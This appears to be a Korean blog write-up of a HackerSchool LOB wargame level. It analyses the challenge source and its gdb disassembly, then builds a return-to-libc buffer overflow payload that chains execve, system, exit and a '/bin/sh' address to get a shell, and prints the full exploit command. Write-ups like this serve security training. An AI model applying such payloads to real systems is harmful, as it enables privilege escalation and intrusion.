소스를 살펴본다
우선, 새로운 함수들이 많이 나와서 함수부터 정리해보자
함수들에 관해서 너무 잘 설명되어 있는 곳이 있어서 링크를 걸어둔다.
popen
http://forum.falinux.com/zbxe/index.php?document_srl=419978&mid=C_LIB
fgets
http://itguru.tistory.com/38
sscanf
http://itguru.tistory.com/67
// gain address of execve
fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'", "r");
fgets(buffer, 255, fp);
sscanf(buffer, "(%x)", &lib_addr);
fclose(fp);
fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r");
fgets(buffer, 255, fp);
sscanf(buffer, "%x", &execve_offset);
fclose(fp);
소스를 이해하기 위해서 시스템명령어들도 좀 알아야 할 것이다.
/usr/bin/ldd
라이브러리 의존성 보기
/usr/bin/nm
심볼파일에서
심볼값, 심볼타입, 심볼이름을 알 수 있다.
/bin/awk '{print $4}'
패턴처리언어
https://www.linux.co.kr/home2/board/subbs/board.php?bo_table=lecture&wr_id=1242&sca=1&page=7
소스에 있는대로 실행을 해 보았다.
아마 권한이 없어서 없다고 나오는 것 같다;;
일단 /usr/bin/ldd 를 현재 폴더에 giant로 한번 실행해 보았다.
흠??
일단 여기서 4번째 항목을 가져오므로, 주소가 될 것이다.
결론은, /home/giant/assassin 에서 libc 라이브러리가 들어있는 so파일의 주소를 가져오는 듯 하다.
/usr/bin/nm 도 실행해 보았다.
두번째 명령어를 앞에만 실행하면 이렇게 무수히 많이 출력이 되고,
grep으로 __execve 만 잡으면 저렇게 __execve함수만 검색되어 보이고,
awk로 첫번째 항목만 출력하므로 주소만 딱 출력이 되게 된다.
so파일이 뭔지 찾아봤더니
리눅스에서 사용하는 동적 라이브러리로, 윈도우에서의 dll 같은 것이다.
컴파일이 아닌, 런타임시에 호출될 코드가 결정되고, 로드된다.
따라서 이 소스에서는 공유라이브러리에서 __execve 함수의 주소를 가져온다. 주소라기 보단, 오프셋을 가져온다.
결국, 앞에서 가져온 so파일의 주소와, 두번째의 __execve의 오프셋을 더하면 __execve의 주소가 된다.
execve_addr = lib_addr + (int)execve_offset;
// end
memcpy(&ret, &(argv[1][44]), 4);
if(ret != execve_addr)
{
printf("You must use execve!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
ret에 arg[1]의 45번째 인덱스부터 4바이트를 복사하고,
앞에서 구한 __execve주소와 같아야만 넘어간다.
결국, __execve주소를 찾아서 리턴주소에 덮어씌우면
strcpy가 실행이 되는 것이다.
일단 주소는 execve_addr = lib_addr + (int)execve_offset;
0x40018000 + 0x00091d48 = 0x400A9D48 가 된다.
gdb에서 확인해보니 주소는 같다
그럼 리턴주소에 저걸로 넣으면 실행이 된다?
./giant `python -c 'print "\x90"*44+"\x48\x9d\x0a\x40"'`
제길 안된다. 왜안되지?
근데 하나는 건졌다.
giant로 실행하면 /home/giant/assassin 파일이 없다는 말이 안나온다
권한이 있어서 실행이 되는 것 같다.
그럼 gdb로 디버깅 못하는거 아닌가?
일단 gdb로 디버깅해보자
0x8048560 <main>: push %ebp
0x8048561 <main+1>: mov %esp,%ebp
0x8048563 <main+3>: sub $0x3c,%esp //스택에 60 만큼을 할당한다 (buf(40)+포인터변수5개(4*5=20))
0x8048566 <main+6>: cmpl $0x1,0x8(%ebp)
0x804856a <main+10>: jg 0x8048583 <main+35>
0x804856c <main+12>: push $0x8048700
0x8048571 <main+17>: call 0x8048444 <printf>
0x8048576 <main+22>: add $0x4,%esp
0x8048579 <main+25>: push $0x0
0x804857b <main+27>: call 0x8048474 <exit>
0x8048580 <main+32>: add $0x4,%esp
0x8048583 <main+35>: push $0x804870c
0x8048588 <main+40>: push $0x8048720
0x804858d <main+45>: call 0x8048404 <popen>
0x8048592 <main+50>: add $0x8,%esp
0x8048595 <main+53>: mov %eax,%eax
0x8048597 <main+55>: mov %eax,0xffffffd4(%ebp)
0x804859a <main+58>: mov 0xffffffd4(%ebp),%eax
0x804859d <main+61>: push %eax
0x804859e <main+62>: push $0xff
0x80485a3 <main+67>: lea 0xffffffd8(%ebp),%eax
0x80485a6 <main+70>: push %eax
0x80485a7 <main+71>: call 0x8048424 <fgets>
0x80485ac <main+76>: add $0xc,%esp
0x80485af <main+79>: lea 0xffffffd0(%ebp),%eax
0x80485b2 <main+82>: push %eax
0x80485b3 <main+83>: push $0x804876b
0x80485b8 <main+88>: lea 0xffffffd8(%ebp),%eax
0x80485bb <main+91>: push %eax
0x80485bc <main+92>: call 0x8048484 <sscanf>
0x80485c1 <main+97>: add $0xc,%esp
0x80485c4 <main+100>: mov 0xffffffd4(%ebp),%eax
0x80485c7 <main+103>: push %eax
0x80485c8 <main+104>: call 0x8048464 <fclose>
0x80485cd <main+109>: add $0x4,%esp
0x80485d0 <main+112>: push $0x804870c
0x80485d5 <main+117>: push $0x8048780
0x80485da <main+122>: call 0x8048404 <popen>
0x80485df <main+127>: add $0x8,%esp
0x80485e2 <main+130>: mov %eax,%eax
0x80485e4 <main+132>: mov %eax,0xffffffd4(%ebp)
0x80485e7 <main+135>: mov 0xffffffd4(%ebp),%eax
0x80485ea <main+138>: push %eax
0x80485eb <main+139>: push $0xff
---Type <return> to continue, or q <return> to quit---
0x80485f0 <main+144>: lea 0xffffffd8(%ebp),%eax
0x80485f3 <main+147>: push %eax
0x80485f4 <main+148>: call 0x8048424 <fgets>
0x80485f9 <main+153>: add $0xc,%esp
0x80485fc <main+156>: lea 0xffffffcc(%ebp),%eax
0x80485ff <main+159>: push %eax
0x8048600 <main+160>: push $0x80487c8
0x8048605 <main+165>: lea 0xffffffd8(%ebp),%eax
0x8048608 <main+168>: push %eax
0x8048609 <main+169>: call 0x8048484 <sscanf>
0x804860e <main+174>: add $0xc,%esp
0x8048611 <main+177>: mov 0xffffffd4(%ebp),%eax
0x8048614 <main+180>: push %eax
0x8048615 <main+181>: call 0x8048464 <fclose>
0x804861a <main+186>: add $0x4,%esp
0x804861d <main+189>: mov 0xffffffd0(%ebp),%eax
0x8048620 <main+192>: mov 0xffffffcc(%ebp),%edx
0x8048623 <main+195>: lea (%edx,%eax,1),%ecx
0x8048626 <main+198>: mov %ecx,0xffffffc8(%ebp)
0x8048629 <main+201>: push $0x4
0x804862b <main+203>: mov 0xc(%ebp),%eax
0x804862e <main+206>: add $0x4,%eax
0x8048631 <main+209>: mov (%eax),%edx
0x8048633 <main+211>: add $0x2c,%edx
0x8048636 <main+214>: push %edx
0x8048637 <main+215>: lea 0xffffffc4(%ebp),%eax
0x804863a <main+218>: push %eax
0x804863b <main+219>: call 0x8048454 <memcpy>
0x8048640 <main+224>: add $0xc,%esp
0x8048643 <main+227>: mov 0xffffffc4(%ebp),%eax
0x8048646 <main+230>: cmp 0xffffffc8(%ebp),%eax
0x8048649 <main+233>: je 0x8048662 <main+258>
0x804864b <main+235>: push $0x80487cb
0x8048650 <main+240>: call 0x8048444 <printf>
0x8048655 <main+245>: add $0x4,%esp
0x8048658 <main+248>: push $0x0
0x804865a <main+250>: call 0x8048474 <exit>
0x804865f <main+255>: add $0x4,%esp
0x8048662 <main+258>: mov 0xc(%ebp),%eax
0x8048665 <main+261>: add $0x4,%eax
0x8048668 <main+264>: mov (%eax),%edx
0x804866a <main+266>: push %edx
0x804866b <main+267>: lea 0xffffffd8(%ebp),%eax
0x804866e <main+270>: push %eax
0x804866f <main+271>: call 0x8048494 <strcpy>
---Type <return> to continue, or q <return> to quit---
0x8048674 <main+276>: add $0x8,%esp
0x8048677 <main+279>: lea 0xffffffd8(%ebp),%eax
0x804867a <main+282>: push %eax
0x804867b <main+283>: push $0x80487e1
0x8048680 <main+288>: call 0x8048444 <printf>
0x8048685 <main+293>: add $0x8,%esp
0x8048688 <main+296>: leave
0x8048689 <main+297>: ret
main+230 에 브레이크를 걸고 레지스터를 확인해보니
일단 eax는 아까 찾은 주소와 같다.
그럼 스택을 확인해보자
<main+227> 에서 $ebp-0x3c (0x3c=60) 가 eax가 들어간다. 잘 들어갔다.
그럼 이제 $ebp-0x40 (0x40=64) 과 비교한다.
근데 왜 여기에 0x4가 들어있지?
스택을 다시 정리해보자
60바이트만큼 할당하고,
첫 4바이트는 0x40009d48 (변수 fp)
다음 4바이트는 0x080da023 (변수 lib_addr)
다음 4바이트는 0x000091d48 (변수 execve_offset)
다음4바이트는 0x080482db (변수 execve_addr)
다음4바이트는 0x08049908 (변수 ret)
젠장
이렇게 하니까 세그먼트 폴트가 뜬다
'python -c ' 어쩌구 '` 를 " " 이걸로 감싸니까 된다;;;
시작해본다.
__execve : 0x400a9d48
system : 0x40058ae0
exit : 0x400391e0
&/bin/sh : 0x400fbff9
NOP*44 + &execve[4] + &system[4] + $exit[4] + &bin/sh[4]
./giant "`python -c 'print "\x90"*44+"\x48\x9d\x0a\x40"+"\xe0\x8a\x05\x40"+"\xe0\x91\x03\x40"+"\xf9\xbf\x0f\x40"'`"
'WarGame > HackerSchool_LOB' 카테고리의 다른 글
HackerSchool LOB Level16 (0) | 2014.08.23 |
---|---|
HackerSchool LOB Level15 (0) | 2014.08.23 |
HackerSchool LOB Level13 (0) | 2014.08.15 |
HackerSchool LOB Level12 (0) | 2014.07.31 |
HackerSchool LOB Level11 (0) | 2014.07.31 |